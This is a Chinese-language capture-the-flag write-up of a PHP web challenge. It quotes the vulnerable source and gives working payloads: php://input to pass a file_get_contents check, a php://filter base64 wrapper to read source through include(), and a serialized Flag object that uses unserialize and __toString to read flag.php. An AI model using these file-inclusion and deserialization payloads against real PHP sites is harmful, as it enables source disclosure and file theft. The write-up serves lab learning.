总结
- php语法,ctf暂时接触下来php的一些函数和一些语法要多看,遇到了才知道,如果是断网情况下,基本没戏,所以还是多积累好,本地运行一下,语法很简单写一下基本大同小异
- php伪协议常用的如 input , filter/read
源码阅读
<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
- 参数一:
text
- 参数二:
file
提示读取 useless.php - 参数三:
password
与参数二有关
第一层 file_get_contents()
该函数为读取一个文件IO流,因此可以用php://input协议输入一个文件流绕过
payload1:
php://input的输入流放在post body中
这里方法GET和POST的结果都是一致的
第二层 file
根据第一层的提示,这题应该就是考察源码阅读和php伪协议,这里不能直接读取/flag/
继续阅读提示读取useless.php
, 伪协议 php://filter/read=convert.base64-encode/resource={filename}
payload2:file=php://filter/read=convert.base64-encode/resource=useless.php
base64decode
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
这步看出flag.php
就是把文件内容读出来,配合index,需要将flag.php序列化传入file
payload3:
本地序列化一下得出password的值
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a = new Flag();
$a->file='flag.php';
echo serialize($a);
?>
// O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}